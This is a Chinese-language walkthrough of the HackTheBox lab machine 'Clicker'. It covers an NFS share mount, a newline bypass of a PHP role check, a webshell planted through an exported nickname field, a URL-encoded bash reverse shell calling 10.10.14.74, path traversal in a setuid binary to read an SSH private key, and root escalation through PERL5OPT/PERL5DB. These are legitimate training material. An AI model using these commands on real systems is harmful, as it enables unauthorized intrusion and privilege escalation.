[渗透测试学习] Clicker - HackTheBox

文章目录


信息搜集

nmap扫描一下端口

复制代码
nmap -sV -sC -v -p- --min-rate 1000 10.10.11.232

扫描结果

复制代码
22/tcp    open  ssh
80/tcp    open  http    Apache httpd 2.4.52 ((Ubuntu)) //重定向
111/tcp   open  rpcbind 2-4 (RPC #100000)

我们往下看发现启用了nfs协议

去网上查询下相关资料 参考文章

NFS最大的功能就是可以透过网络,让不同的机器、不同的操作系统、可以彼此分享个别的档案(share files)。所以,你也可以简单地将它看做是一个文件服务器(file server)。这个NFS服务器可以让你的PC来将网络远程的NFS服务器分享的目录,挂载到本地端的机器当中,在本地端的机器看起来,那个远程主机的目录就好像是自己的一个磁盘分区槽一样(partition),使用上相当的便利。

既然可以远程读取文件,那么我们使用mount命令将远程NFS文件系统挂载到本地目录

在本地创建目录mnt/nfs_file,然后读取根目录文件

复制代码
sudo mount -o nolock 10.10.11.232:/ ~/test/mnt/nfs_file

注:-o:指定挂载选项,比如读写权限、访问权限等

nolock 是在挂载 NFS 文件系统时的一种选项,用于禁用文件锁定机制,使得同时进行读写操作不受文件锁定限制

我们ls一下,发现zip文件

解压发现不行,用cp命令复制到本地即可

由于80端口出现重定向,那么我们添加域名到/etc/hosts

开始进行下一步

代码审计

我们在admin.php注意到有对session进行身份验证,如果验证失败则重定向到index.php

那么我们尝试得到admin的session,接着在save_game.php找到可利用的地方

复制代码
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');	
}
?>

简单分析一下,可以通过foreach对GET参数进行遍历,如果$key不为role(不区分大小写),那么$args[$key] = $value;进行赋值,调用save_profile函数去更新session,修改成功则返回Game has been saved!

这里我们搜索一下$_SESSION['PLAYER']是怎么来的,发现是由username决定的也就是登陆者身份

那么我们可以借助GET传参role=Admin来更新并得到admin的session,但要绕过if (strtolower($key) === 'role')判断

这里本地测试发现,利用换行符%0a就行了

反弹shell

我们随便注册登录后点击play进入游戏,然后save的时候抓包

放行,提示修改成功

然后退出重新登录,发现多了一个功能

点进去看看发现有四个用户

有个导出表格export选项,点击得到保存的路径

访问一下

我们抓包看看保存的过程发现拓展名可控

尝试修改为php成功

既然可以修改为php后缀,那么我们寻找下写马的位置。很明显,保存的数据中只有nickname可以让我们写马,而如何修改nickname的值就和刚刚修改role一样的办法

点击play,然后save的时候抓包

(注意?要url编码一下)

然后还是一样回显保存成功,那么说明成功写入马

继续按照刚刚那样抓包修改导出拓展名为php,然后访问保存路径成功RCE

我们将反弹shell命令url编码一下,然后执行

复制代码
?1=bash%20%2Dc%20%22bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E74%2F1028%200%3E%261%22

成功反弹shell

我们尝试访问/home/jack发现不行,接着在/opt/manage发现可疑文件

貌似是二进制文件execute_query的使用说明

我们在连接的靶机开启http服务,使用wget命令下载下来该二进制文件

然后丢到ida里F5反编译

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  size_t v4; // rbx
  size_t v5; // rax
  size_t v6; // rbx
  size_t v7; // rax
  int v8; // [rsp+10h] [rbp-B0h]
  char *dest; // [rsp+18h] [rbp-A8h]
  char *name; // [rsp+20h] [rbp-A0h]
  char *command; // [rsp+28h] [rbp-98h]
  char s[32]; // [rsp+30h] [rbp-90h] BYREF
  char src[88]; // [rsp+50h] [rbp-70h] BYREF
  unsigned __int64 v14; // [rsp+A8h] [rbp-18h]

  v14 = __readfsqword(0x28u);
  if ( argc > 1 )
  {
    v8 = atoi(argv[1]);
    dest = (char *)calloc(0x14uLL, 1uLL);
    switch ( v8 )
    {
      case 0:
        puts("ERROR: Invalid arguments");
        return 2;
      case 1:
        strncpy(dest, "create.sql", 0x14uLL);
        goto LABEL_10;
      case 2:
        strncpy(dest, "populate.sql", 0x14uLL);
        goto LABEL_10;
      case 3:
        strncpy(dest, "reset_password.sql", 0x14uLL);
        goto LABEL_10;
      case 4:
        strncpy(dest, "clean.sql", 0x14uLL);
        goto LABEL_10;
      default:
        strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
        strcpy(s, "/home/jack/queries/");
        v4 = strlen(s);
        v5 = strlen(dest);
        name = (char *)calloc(v4 + v5 + 1, 1uLL);
        strcat(name, s);
        strcat(name, dest);
        setreuid(0x3E8u, 0x3E8u);
        if ( access(name, 4) )
        {
          puts("File not readable or not found");
        }
        else
        {
          strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
          v6 = strlen(src);
          v7 = strlen(dest);
          command = (char *)calloc(v6 + v7 + 1, 1uLL);
          strcat(command, src);
          strcat(command, name);
          system(command);
        }
        result = 0;
        break;
    }
  }
  else
  {
    puts("ERROR: not enough arguments");
    return 1;
  }
  return result;
}

然后就卡住了,于是参考下国外师傅写的wp是去读取了jack的id_rsa私钥

这里的参数5是因为在上述代码中如果不为1234中的一个,就会执行第三个命令行参数 argv[2] 的内容复制到 dest 变量中

复制代码
default:
    strncpy(dest, argv[2], 0x14uLL);

然后拼接文件路径,然后检查文件是否可读。如果文件不可读或者不存在,程序会输出 "File not readable or not found"。否则,将会构建一个 MySQL 命令并执行它,因为拼接的路径为/home/jack/queries/,所以要先返回上一级目录

payload如下

复制代码
./execute_query 5 ../.ssh/id_rsa

成功读取

将这一长串保存下来命名为id_rsa

由于为了确保私钥的安全性,私钥文件应该只对所有者有读写权限

复制代码
chmod 600 id_rsa

然后注意OpenSSH内容格式不对,所以将三个-修改为五个

复制代码
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAAB...
-----END OPENSSH PRIVATE KEY-----

直接ssh连接,得到user的flag

复制代码
ssh -i id_rsa [email protected]

提权

我们sudo发现有monitor.sh,然后cat看下具体内容

这里注意到两个文件/usr/bin/xml_pp/usr/bin/echo(后者并没有什么特殊用处)

而我们跟进/usr/bin/xml_pp发现是perl脚本运行

通过搜索得知一种名为perl_startup的提权方式 参考文章

我们直接给monitor.sh赋予/bin/bash权限

复制代码
sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
//u+s表示给user用户添加权限,即/bin/bash

然后再bash -p即可(用于启用特权模式(privileged mode)的一个选项,保留有效用户的特权和权限)

得到root的flag

相关推荐
吴梓穆8 分钟前
UE5学习笔记 FPS游戏制作42 按钮添加回调函数
笔记·学习·ue5
吴梓穆12 分钟前
UE5学习笔记 FPS游戏制作39 制作一个带有背景的预制面板 使用overlay和nameSlot
笔记·学习·ue5
圈圈编码23 分钟前
WebSocket
java·网络·spring boot·websocket·网络协议·spring
红肤色1 小时前
【网络安全基础】CentOS 7超详细安装教程(含镜像)
linux·运维·服务器·安全·网络安全·centos
Double Point2 小时前
(三十三)Dart 中使用 Pub 包管理系统与 HTTP 请求教程
网络·网络协议·http
Sean_summer2 小时前
木马学习记录
web安全
云上艺旅1 天前
K8S学习之基础七十四:部署在线书店bookinfo
学习·云原生·容器·kubernetes
大丈夫立于天地间1 天前
ISIS协议中的数据库同步
运维·网络·信息与通信
你觉得2051 天前
哈尔滨工业大学DeepSeek公开课:探索大模型原理、技术与应用从GPT到DeepSeek|附视频与讲义下载方法
大数据·人工智能·python·gpt·学习·机器学习·aigc
Dream Algorithm1 天前
路由器的 WAN(广域网)口 和 LAN(局域网)口
网络·智能路由器